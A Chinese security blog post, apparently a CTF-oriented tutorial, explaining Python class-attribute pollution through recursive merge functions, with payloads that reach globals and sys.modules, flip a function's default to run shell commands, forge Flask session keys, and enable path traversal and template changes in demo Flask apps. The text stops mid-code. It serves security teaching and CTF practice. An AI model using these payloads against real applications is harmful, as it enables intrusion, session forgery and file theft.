今昔何年 發表於 2023-1-27 10:56:00

Python原型链污染(prototype-pollution-in-python)

<h2 id="简介">简介</h2>
<p>本文首发于跳跳糖社区</p>
<p>前些时间看了<code>idekctf 2022*</code>的<code>task manager</code>,出题人参考了另一位博主<code>Python</code>原型链污染变体的博文,于是打算写一篇文章简单学习下这种攻击方式和题目中的一些解题技巧等内容等</p>
<p>就像<code>Javascript</code>中的原型链污染一样,这种攻击方式可以在<code>Python</code>中实现对类属性值的污染。需要注意的是,由于<code>Python</code>中的安全设定和部分特殊属性类型限定,并不是所有的类其所有的属性都是可以被污染的,不过可以肯定的,污染只对类的属性起作用,对于类方法是无效的。</p>
<p>不过由于<code>Python</code>中变量空间的设置,实际上还能做到对全局变量中的属性实现污染,不过为了便于理解,先仅以污染类属性为例子展示</p>
<h2 id="代码展示">代码展示</h2>
<h3 id="合并函数">合并函数</h3>
<p>就像<code>Javascript</code>的原型链污染一样,同样需要一个数值合并函数将特定值污染到类的属性当中,一个标准示例如下:</p>
<pre><code>def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
      if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst = v
      elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
      else:
            setattr(dst, k, v)
</code></pre>
<h3 id="污染示例">污染示例</h3>
<p>由于<code>Python</code>中的类会继承父类中的属性,而类中声明(并不是实例中声明)的属性是唯一的,所以我们的目标就是这些在多个类、示例中仍然指向唯一的属性,如类中自定义属性及以<code>__</code>开头的内置属性等</p>
<p>先以自定义属性为例子:</p>
<pre><code>class father:
    secret = "haha"

class son_a(father):
    pass

class son_b(father):
    pass

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
      if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst = v
      elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
      else:
            setattr(dst, k, v)

instance = son_b()
payload = {
    "__class__" : {
      "__base__" : {
            "secret" : "no way"
      }
    }
}

print(son_a.secret)
#haha
print(instance.secret)
#haha
merge(payload, instance)
print(son_a.secret)
#no way
print(instance.secret)
#no way
</code></pre>
<p>修改内置属性也是类似:</p>
<pre><code>class father:
    pass

class son_a(father):
    pass

class son_b(father):
    pass

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
      if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst = v
      elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
      else:
            setattr(dst, k, v)

instance = son_b()
payload = {
    "__class__" : {
      "__base__" : {
            "__str__" : "Polluted ~"
      }
    }
}

print(father.__str__)
#&lt;slot wrapper '__str__' of 'object' objects&gt;
merge(payload, instance)
print(father.__str__)
#Polluted ~
</code></pre>
<h3 id="无法污染的object">无法污染的<code>Object</code></h3>
<p>正如前面所述,并不是所有的类的属性都可以被污染,如<code>Object</code>的属性就无法被污染,所以需要目标类能够被切入点类或对象可以通过属性值查找获取到</p>
<pre><code>def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
      if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst = v
      elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
      else:
            setattr(dst, k, v)

payload = {
    "__class__" : {
            "__str__" : "Polluted ~"
      }
    }

merge(payload, object)
#TypeError: can't set attributes of built-in/extension type 'object'
</code></pre>
<h2 id="利用">利用</h2>
<h3 id="更广泛的获取">更广泛的获取</h3>
<p>在代码展示部分所给出的例子中,污染类属性是通过示例的<code>__base__</code>属性查找到其继承的父类,但是如果目标类与切入点类或实例没有继承关系时,这种方法就显得十分无力</p>
<h4 id="全局变量获取">全局变量获取</h4>
<p>在<code>Python</code>中,函数或类方法(对于类的内置方法如<code>__init__</code>这些来说,内置方法在并未重写时其数据类型为装饰器即<code>wrapper_descriptor</code>,只有在重写后才是函数<code>function</code>)均具有一个<code>__globals__</code>属性,该属性将函数或类方法所申明的变量空间中的全局变量以字典的形式返回(相当于这个变量空间中的<code>globals</code>函数的返回值</p>
<pre><code>secret_var = 114

def test():
    pass

class a:
    def __init__(self):
      pass

print(test.__globals__ == globals() == a.__init__.__globals__)
#True
</code></pre>
<p>所以我们可以使用<code>__globlasl__</code>来获取到全局变量,这样就可以修改无继承关系的类属性甚至全局变量</p>
<pre><code>secret_var = 114

def test():
    pass

class a:
    secret_class_var = "secret"

class b:
    def __init__(self):
      pass

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
      if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst = v
      elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
      else:
            setattr(dst, k, v)

instance = b()

payload = {
    "__init__" : {
            "__globals__" : {
                "secret_var" : 514,
                "a" : {
                  "secret_class_var" : "Pooooluted ~"
                }
            }
      }
    }

print(a.secret_class_var)
#secret
print(secret_var)
#114
merge(payload, instance)
print(a.secret_class_var)
#Pooooluted ~
print(secret_var)
#514
</code></pre>
<h4 id="已加载模块获取">已加载模块获取</h4>
<p>局限于当前模块的全局变量获取显然不够,很多情况下需要对并不是定义在入口文件中的类对象或者属性,而我们的操作位置又在入口文件中,这个时候就需要对其他加载过的模块来获取了</p>
<h5 id="加载关系简单">加载关系简单</h5>
<p>在加载关系简单的情况下,我们可以直接从文件的<code>import</code>语法部分找到目标模块,这个时候我们就可以通过获取全局变量来得到目标模块</p>
<pre><code>#test.py

import test_1

class cls:
    def __init__(self):
      pass

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
      if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst = v
      elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
      else:
            setattr(dst, k, v)

instance = cls()

payload = {
    "__init__" : {
      "__globals__" : {
            "test_1" : {
                "secret_var" : 514,
                "target_class" : {
                  "secret_class_var" : "Poluuuuuuted ~"
                }
            }
      }
    }
}

print(test_1.secret_var)
#secret
print(test_1.target_class.secret_class_var)
#114
merge(payload, instance)
print(test_1.secret_var)
#514
print(test_1.target_class.secret_class_var)
#Poluuuuuuted ~
</code></pre>
<pre><code>#test_1.py

secret_var = 114

class target_class:
    secret_class_var = "secret"
</code></pre>
<h5 id="加载关系复杂-示例">加载关系复杂-示例</h5>
<p>如<code>CTF</code>题目等实际环境中往往是多层模块导入,甚至是存在于内置模块或三方模块中导入,这个时候通过直接看代码文件中<code>import</code>语法查找就十分困难,而解决方法则是利用<code>sys</code>模块</p>
<p><code>sys</code>模块的<code>modules</code>属性以字典的形式包含了程序自开始运行时所有已加载过的模块,可以直接从该属性中获取到目标模块</p>
<pre><code>#test.py

import test_1
import sys

class cls:
    def __init__(self):
      pass

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
      if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst = v
      elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
      else:
            setattr(dst, k, v)

instance = cls()

payload = {
    "__init__" : {
      "__globals__" : {
            "sys" : {
                "modules" : {
                  "test_1" : {
                        "secret_var" : 514,
                        "target_class" : {
                            "secret_class_var" : "Poluuuuuuted ~"
                        }
                  }
                }
            }
      }
    }
}

print(test_1.secret_var)
#secret
print(test_1.target_class.secret_class_var)
#114
merge(payload, instance)
print(test_1.secret_var)
#514
print(test_1.target_class.secret_class_var)
#Poluuuuuuted ~
</code></pre>
<pre><code>#test_1.py

secret_var = 114

class target_class:
    secret_class_var = "secret"
</code></pre>
<p>当然我们去使用的<code>Payload</code>绝大部分情况下是不会这样的,如上的<code>Payload</code>实际上是在已经<code>import sys</code>的情况下使用的,而大部分情况是没有直接导入的,这样问题就从<strong>寻找<code>import</code>特定模块的语句</strong>转换为<strong>寻找<code>import</code>了sys模块的语句</strong>,对问题解决的并不见得有多少优化</p>
<h5 id="加载关系复杂-实际使用">加载关系复杂-实际使用</h5>
<p>为了进一步优化,这里采用方式是利用<code>Python</code>中加载器<code>loader</code>,在官方文档中给出的定义是:</p>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127104647995-145728452.png" alt="" loading="lazy"></p>
<p>简单来说就是为实现模块加载而设计的类,其在<code>importlib</code>这一内置模块中有具体实现。令人庆幸的是<code>importlib</code>模块下所有的<code>py</code>文件中均引入了<code>sys</code>模块</p>
<pre><code>print("sys" in dir(__import__("importlib.__init__")))
#True
print("sys" in dir(__import__("importlib._bootstrap")))
#True
print("sys" in dir(__import__("importlib._bootstrap_external")))
#True
print("sys" in dir(__import__("importlib._common")))
#True
print("sys" in dir(__import__("importlib.abc")))
#True
print("sys" in dir(__import__("importlib.machinery")))
#True
print("sys" in dir(__import__("importlib.metadata")))
#True
print("sys" in dir(__import__("importlib.resources")))
#True
print("sys" in dir(__import__("importlib.util")))
#True
</code></pre>
<p>所以只要我们能过获取到一个<code>loader</code>便能用如<code>loader.__init__.__globals__['sys']</code>的方式拿到<code>sys</code>模块,这样进而获取目标模块。</p>
<p>那<code>loader</code>好获取吗?答案是肯定的。依据官方文档的说明,对于一个模块来说,模块中的一些内置属性会在被加载时自动填充:</p>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127104705262-1430214027.png" alt="" loading="lazy"></p>
<p><code>__loader__</code>内置属性会被赋值为加载该模块的<code>loader</code>,这样只要能获取到任意的模块便能通过<code>__loader__</code>属性获取到<code>loader</code>,而且对于<code>python3</code>来说除了在<code>debug</code>模式下的主文件中<code>__loader__</code>为<code>None</code>以外,正常执行的情况每个模块的<code>__loader__</code>属性均有一个对应的类</p>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127104721104-1224559985.png" alt="" loading="lazy"></p>
<p><code>__spec__</code>内置属性在<code>Python 3.4</code>版本引入,其包含了关于类加载时的信息,本身是定义在<code>Lib/importlib/_bootstrap.py</code>的类<code>ModuleSpec</code>,显然因为定义在<code>importlib</code>模块下的<code>py</code>文件,所以可以直接采用<code>&lt;模块名&gt;.__spec__.__init__.__globals__['sys']</code>获取到<code>sys</code>模块</p>
<p>由于<code>ModuleSpec</code>的属性值设置,相对于上面的获取方式,还有一种相对长的<code>payload</code>的获取方式,主要是利用<code>ModuleSpec</code>中的<code>loader</code>属性。如属性名所示,该属性的值是模块加载时所用的<code>loader</code>,在源码中如下所示:</p>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127104734758-865825998.png" alt="" loading="lazy"></p>
<p>所以有这样的相对长的<code>Payload</code>:<code>&lt;模块名&gt;.__spec__.loader.__init__.__globals__['sys']</code></p>
<h3 id="实际环境中的合并函数">实际环境中的合并函数</h3>
<p>依据原博主所述,目前发现了<code>Pydash</code>模块中的<code>set_</code>和<code>set_with</code>函数具有如上实例中<code>merge</code>函数类似的类属性赋值逻辑,能够实现污染攻击。<code>idekctf 2022*</code>中的<code>task manager</code>这题就设计使用该函数提供可以污染的环境</p>
<h2 id="攻击面扩展">攻击面扩展</h2>
<p>根据原博主文章中的相关内容以及<code>idekctf 2022*</code>的<code>task manager</code>中的解题方法等,将这些内容部分涉及到的特定值通过简单环境示例的方式给出简单讲解</p>
<h3 id="函数形参默认值替换">函数形参默认值替换</h3>
<p>主要用到了函数的<code>__defaults__</code>和<code>__kwdefaults__</code>这两个内置属性</p>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127104748903-1502385594.png" alt="" loading="lazy"></p>
<h4 id="__defaults__"><code>__defaults__</code></h4>
<p><code>__defaults__</code>以元组的形式按从左到右的顺序收录了函数的位置或键值形参的默认值,需要注意这个位置或键值形参是特定的一类形参,并不是位置形参+键值形参,关于函数的参数分类可以参考这篇文章:python函数的位置参数(Positional)和关键字参数(keyword) - 知乎 (zhihu.com)</p>
<p>从代码上来看,则是如下的效果:</p>
<pre><code>def func_a(var_1, var_2 =2, var_3 = 3):
    pass

def func_b(var_1, /, var_2 =2, var_3 = 3):
    pass

def func_c(var_1, var_2 =2, *, var_3 = 3):
    pass

def func_d(var_1, /, var_2 =2, *, var_3 = 3):
    pass

print(func_a.__defaults__)
#(2, 3)
print(func_b.__defaults__)
#(2, 3)
print(func_c.__defaults__)
#(2,)
print(func_d.__defaults__)
#(2,)
</code></pre>
<p>通过替换该属性便能实现对函数位置或键值形参的默认值替换,但稍有问题的是该属性值要求为元组类型,而通常的如<code>JSON</code>等格式并没有元组这一数据类型设计概念,这就需要环境中有合适的解析输入的方式</p>
<pre><code>def evilFunc(arg_1 , shell = False):
    if not shell:
      print(arg_1)
    else:
      print(__import__("os").popen(arg_1).read())

class cls:
    def __init__(self):
      pass

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
      if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst = v
      elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
      else:
            setattr(dst, k, v)

instance = cls()

payload = {
    "__init__" : {
      "__globals__" : {
            "evilFunc" : {
                "__defaults__" : (
                  True ,
                )
            }
      }
    }
}

evilFunc("whoami")
#whoami
merge(payload, instance)
evilFunc("whoami")
#article-kelp
</code></pre>
<h4 id="__kwdefaults__"><code>__kwdefaults__</code></h4>
<p><code>__kwdefaults__</code>以字典的形式按从左到右的顺序收录了函数键值形参的默认值,从代码上来看,则是如下的效果:</p>
<pre><code>def func_a(var_1, var_2 =2, var_3 = 3):
    pass

def func_b(var_1, /, var_2 =2, var_3 = 3):
    pass

def func_c(var_1, var_2 =2, *, var_3 = 3):
    pass

def func_d(var_1, /, var_2 =2, *, var_3 = 3):
    pass

print(func_a.__kwdefaults__)
#None
print(func_b.__kwdefaults__)
#None
print(func_c.__kwdefaults__)
#{'var_3': 3}
print(func_d.__kwdefaults__)
#{'var_3': 3}
</code></pre>
<p>通过替换该属性便能实现对函数键值形参的默认值替换</p>
<pre><code>def evilFunc(arg_1 , * , shell = False):
    if not shell:
      print(arg_1)
    else:
      print(__import__("os").popen(arg_1).read())

class cls:
    def __init__(self):
      pass

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
      if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst = v
      elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
      else:
            setattr(dst, k, v)

instance = cls()

payload = {
    "__init__" : {
      "__globals__" : {
            "evilFunc" : {
                "__kwdefaults__" : {
                  "shell" : True
                }
            }
      }
    }
}

evilFunc("whoami")
#whoami
merge(payload, instance)
evilFunc("whoami")
#article-kelp
</code></pre>
<h3 id="特定值替换">特定值替换</h3>
<h4 id="osenviron赋值"><code>os.environ</code>赋值</h4>
<p>可以实现多种利用方式,如<code>NCTF2022</code>中<code>calc</code>考点对<code>os.system</code>的利用,结合<code>LD_PRELOAD</code>与文件上传<code>.so</code>实现劫持等</p>
<h4 id="flask相关特定属性"><code>flask</code>相关特定属性</h4>
<h5 id="secret_key"><code>SECRET_KEY</code></h5>
<p>决定<code>flask</code>的<code>session</code>生成的重要参数,知道该参数可以实现<code>session</code>任意伪造</p>
<p>给出示范环境如下:</p>
<pre><code>#app.py

from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
      if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst = v
      elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
      else:
            setattr(dst, k, v)

class cls():
    def __init__(self):
      pass

instance = cls()

@app.route('/',methods=['POST', 'GET'])
def index():
    if request.data:
      merge(json.loads(request.data), instance)
    return "[+]Config:%s"%(app.config['SECRET_KEY'])
   

app.run(host="0.0.0.0")
</code></pre>
<p>正常访问:</p>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127104815939-644485760.png" alt="" loading="lazy"></p>
<p>使用如下的<code>Payload</code>:</p>
<pre><code>{
    "__init__" : {
      "__globals__" : {
            "app" : {
                "config" : {
                  "SECRET_KEY" :"Polluted~"
                }
            }
      }
    }
}
</code></pre>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127104838878-1237446801.png" alt="" loading="lazy"></p>
<h5 id="_got_first_request"><code>_got_first_request</code></h5>
<p>用于判定是否某次请求为自<code>Flask</code>启动后第一次请求,是<code>Flask.got_first_request</code>函数的返回值,此外还会影响装饰器<code>app.before_first_request</code>的调用,依据源码可以知道<code>_got_first_request</code>值为假时才会调用:</p>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127104851348-904331972.png" alt="" loading="lazy"></p>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127104901229-2020805748.png" alt="" loading="lazy"></p>
<p>给出示范环境如下:</p>
<pre><code>from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
      if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst = v
      elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
      else:
            setattr(dst, k, v)

class cls():
    def __init__(self):
      pass

instance = cls()

flag = "Is flag here?"

@app.before_first_request
def init():
    global flag
    if hasattr(app, "special") and app.special == "U_Polluted_It":
      flag = open("flag", "rt").read()

@app.route('/',methods=['POST', 'GET'])
def index():
    if request.data:
      merge(json.loads(request.data), instance)
    global flag
    setattr(app, "special", "U_Polluted_It")
    return flag

app.run(host="0.0.0.0")
</code></pre>
<pre><code>#flag

flag{U_Find_Me}
</code></pre>
<p><code>before_first_request</code>修饰的<code>init</code>函数只会在第一次访问前被调用,而其中读取<code>flag</code>的逻辑又需要访问路由<code>/</code>后才能触发,这就构成了矛盾。所以需要使用<code>payload</code>在访问<code>/</code>后重置<code>_got_first_request</code>属性值为假,这样<code>before_first_request</code>才会再次调用。</p>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127104912889-447548224.png" alt="" loading="lazy"></p>
<p>直接访问没有<code>flag</code></p>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127104921900-1631156315.png" alt="" loading="lazy"></p>
<p>携带<code>Payload</code>重置<code>_got_first_request</code>属性值为假</p>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127104934498-421810547.png" alt="" loading="lazy"></p>
<p><code>init</code>函数被触发,且其中读取<code>flag</code>的相关逻辑被执行,这样就获得了<code>flag</code></p>
<h5 id="_static_url_path"><code>_static_url_path</code></h5>
<p>这个属性中存放的是<code>flask</code>中静态目录的值,默认该值为<code>static</code>。访问<code>flask</code>下的资源可以采用如<code>http://domain/static/xxx</code>,这样实际上就相当于访问<code>_static_url_path</code>目录下<code>xxx</code>的文件并将该文件内容作为响应内容返回</p>
<pre><code>#static/index.html

&lt;html&gt;
&lt;h1&gt;hello&lt;/h1&gt;
&lt;body&gt;   
&lt;/body&gt;
&lt;/html&gt;
</code></pre>
<pre><code>#app.py

from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
      if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst = v
      elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
      else:
            setattr(dst, k, v)

class cls():
    def __init__(self):
      pass

instance = cls()

@app.route('/',methods=['POST', 'GET'])
def index():
    if request.data:
      merge(json.loads(request.data), instance)
    return "flag in ./flag but heres only static/index.html"


app.run(host="0.0.0.0")
</code></pre>
<pre><code>#flag

flag{U_Find_Me}
</code></pre>
<p>此时<code>http://domain/static/xxx</code>只能访问到文件系统当前目录下<code>static</code>目录中的<code>xxx</code>文件,并且不存在如目录穿越的漏洞</p>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127104947614-19771017.png" alt="" loading="lazy"></p>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127104956655-7217971.png" alt="" loading="lazy"></p>
<p>污染该属性为当前目录。这样就能访问到当前目录下的<code>flag</code>文件了</p>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127105011584-1235342744.png" alt="" loading="lazy"></p>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127105019584-158260072.png" alt="" loading="lazy"></p>
<h5 id="ospathpardir"><code>os.path.pardir</code></h5>
<p>这个<code>os</code>模块下的变量会影响<code>flask</code>的模板渲染函数<code>render_template</code>的解析,所以也收录在<code>flask</code>部分,模拟的环境如下:</p>
<pre><code>#templates/index.html

&lt;html&gt;
&lt;h1&gt;hello&lt;/h1&gt;
&lt;body&gt;   
&lt;/body&gt;
&lt;/html&gt;
</code></pre>
<pre><code>#app.py

from flask import Flask,request,render_template
import json
import os

app = Flask(__name__)

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
      if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst = v
      elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
      else:
            setattr(dst, k, v)

class cls():
    def __init__(self):
      pass

instance = cls()

@app.route('/',methods=['POST', 'GET'])
def index():
    if request.data:
      merge(json.loads(request.data), instance)
    return "flag in ./flag but u just can use /file to vist ./templates/file"

@app.route("/&lt;path:path&gt;")
def render_page(path):
    if not os.path.exists("templates/" + path):
      return "not found", 404
    return render_template(path)

app.run(host="0.0.0.0")
</code></pre>
<pre><code>#flag

flag{U_Find_Me}
</code></pre>
<p>直接访问<code>http://domain/xxx</code>时会使用<code>render_tempaltes</code>渲染<code>templates/xxx</code>文件</p>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127105030677-878287769.png" alt="" loading="lazy"></p>
<p>如果尝试目录穿越则会导致<code>render_template</code>函数报错</p>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127105037831-2008641323.png" alt="" loading="lazy"></p>
<p>根据报错信息的调用栈可以来到这段代码</p>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127105049691-1067181145.png" alt="" loading="lazy"></p>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127105056882-616179342.png" alt="" loading="lazy"></p>
<p>跟进95行的<code>get_source</code>函数,来到<code>Lib/site-packages/jinja2/loaders.py</code></p>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127105103715-1715379768.png" alt="" loading="lazy"></p>
<p>继续跟进195行的<code>split_template_path</code>函数</p>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127105114125-1116989441.png" alt="" loading="lazy"></p>
<p>结合函数注释可以了解到这个函数将会把传入的模板路径按照<code>/</code>进行分割,在34行的逻辑判断上决定了(其余的部分逻辑值基本为假)整个<code>if</code>语句是否为真,显然需要改语句为假避免触发34行的<code>raise</code>。34行中的<code>os.path.pardir</code>值即为<code>..</code>,所以只要修改该属性为任意其他值即可避免报错,从而实现<code>render_template</code>函数的目录穿越</p>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127105121312-663675572.png" alt="" loading="lazy"></p>
<p>修改为无关的<code>!</code>:</p>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127105128312-54341706.png" alt="" loading="lazy"></p>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127105137208-1880029914.png" alt="" loading="lazy"></p>
<h5 id="jinja语法标识符">Jinja语法标识符</h5>
<p>在默认的规则规则下,常用<code>Jinja</code>语法标识符有<code>{{ Code }}</code>、<code>{% Code %}</code>、<code>{# Code #}</code>,当然对于我们需要<code>RCE</code>的需求来说,通常前两者才需要留意。而<code>Flask</code>官方文档中明确告知了,这些语法标识符均是可以依照<code>Jinja</code>中修改的:</p>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127105144799-1907488324.png" alt="" loading="lazy"></p>
<p>在<code>Jinja</code>文档中展示了对这些语法标识符进行替换的方法:API — Jinja Documentation (3.1.x) (palletsprojects.com),即对<code>Jinja</code>的环境类的相关属性赋值:</p>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127105203559-1106128133.png" alt="" loading="lazy"></p>
<p>而在<code>Flask</code>中使用了<code>Flask</code>类(<code>Lib/site-packages/flask/app.py</code>)的装饰器装饰后的<code>jinja_env</code>方法实现上述的功能;</p>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127105211530-505675831.png" alt="" loading="lazy"></p>
<p>经过装饰器的装饰后,简单来说可以将该方法视为属性,对该方法的获取就能实现方法调用,类似<code>Flask.jinja_env</code>就相当于<code>Flask.jinja_env()</code>。</p>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127105219514-2070062201.png" alt="" loading="lazy"></p>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127105225947-1658688272.png" alt="" loading="lazy"></p>
<p>跟进其中调用的<code>create_jinja_environment</code>,结合注释就可以发现<code>jinja_env</code>方法返回值就是<code>Jinja</code>中的环境类(实际上是对原生的<code>Jinja</code>环境类做了继承,不过在使用上并无多大区别),所以我们可以直接采用类似<code>Flask.jinja_env.variable_start_string = "xxx"</code>来实现对<code>Jinja</code>语法标识符进行替换</p>
<p>模拟的环境如下:</p>
<pre><code>#templates/index.html

&lt;html&gt;
&lt;h1&gt;Look this -&gt; [] &lt;- try to make it become the real flag&lt;/h1&gt;
&lt;body&gt;   
&lt;/body&gt;
&lt;/html&gt;
</code></pre>
<pre><code>#app.py

from flask import Flask,request,render_template
import json

app = Flask(__name__)

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
      if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst = v
      elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
      else:
            setattr(dst, k, v)

class cls():
    def __init__(self):
      pass

instance = cls()

@app.route('/',methods=['POST', 'GET'])
def index():
    if request.data:
      merge(json.loads(request.data), instance)
    return "go check /index before merge it"


@app.route('/index',methods=['POST', 'GET'])
def templates():
    return render_template("test.html", flag = open("flag", "rt").read())

app.run(host="0.0.0.0")
</code></pre>
<pre><code>#flag

flag{U_Find_Me}
</code></pre>
<p>访问<code>index</code>路由会给模板填充<code>flag</code>变量的值,但是需要应该要语法标识符是<code>{{flag}}</code>,但这里是<code>[]</code>是无法被解析的</p>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127105236689-1746072446.png" alt="" loading="lazy"></p>
<p>这里按照上面所述,修改相应的语法标识符:</p>
<pre><code>{
    "__init__" : {
      "__globals__" : {
            "app" : {
                  "jinja_env" :{
"variable_start_string" : "[[","variable_end_string":"]]"
}      
            }
      }
    }
</code></pre>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127105246137-1329581346.png" alt="" loading="lazy"></p>
<p>这样就成功了吗?并没有,访问<code>index</code>路由会发现<code>flag</code>值还是没有被填充进来,也就是语法标识符没有被解析</p>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127105251690-1960484599.png" alt="" loading="lazy"></p>
<p>为什么呢?这里先给出结论,<code>Flask</code>默认会对一定数量内的模板文件编译渲染后进行缓存,下次访问时若有缓存则会优先渲染缓存,所以输入<code>payload</code>污染之后虽然语法标识符被替换了,但渲染的内容还是按照污染前语生成的缓存,由于缓存编译时并没有存在<code>flag</code>变量,所以自然没有被填充<code>flag</code>。关于模板缓存的相关设置也可以在<code>Jinja</code>的环境类中设定,在<code>Jinja</code>的官方文档中可以见到:</p>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127105258434-402196520.png" alt="" loading="lazy"></p>
<p>所以只需我们在<code>Flask</code>服务启动后(当然这里演示就是重启下<code>Flask</code>服务就行了,对于题目来说一般就是重启容器,或是在污染之后再访问模板)先输入<code>payload</code>再访问<code>index</code>路由即可:</p>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127105304945-338503755.png" alt="" loading="lazy"></p>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127105310528-1744477357.png" alt="" loading="lazy"></p>
<h5 id="jinja语法全局数据"><code>Jinja</code>语法全局数据</h5>
<p>实际上包括函数、变量、过滤器这三者都能被自定义的添加到<code>Jinja</code>语法解析时的环境,操作方式于<code>Jinja</code>语法标识符中完全类似</p>
<p><img src="https://img2023.cnblogs.com/blog/2293037/202301/2293037-20230127105320194-987334030.png" alt="" loading="lazy"></p>
<p>这里以增加变量为例子给出模拟的环境如下:</p>
<pre><code>#templates/index.html

&lt;html&gt;
&lt;h1&gt;{{flag if permission else "No way!"}}&lt;/h1&gt;
&lt;body&gt;   
&lt;/body&gt;
&lt;/html&gt;
</code></pre>
<pre><code>#app.py

from flask import Flask,request,render_template
import json

app = Flask(__name__)

def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
      if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst = v
      elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
      else:
            setattr(dst, k, v)

class cls():
    def __init__(self):
      pass

instance = cls()

@app.route('/',methods=['POST', 'GET'])
def index():
    if request.data:
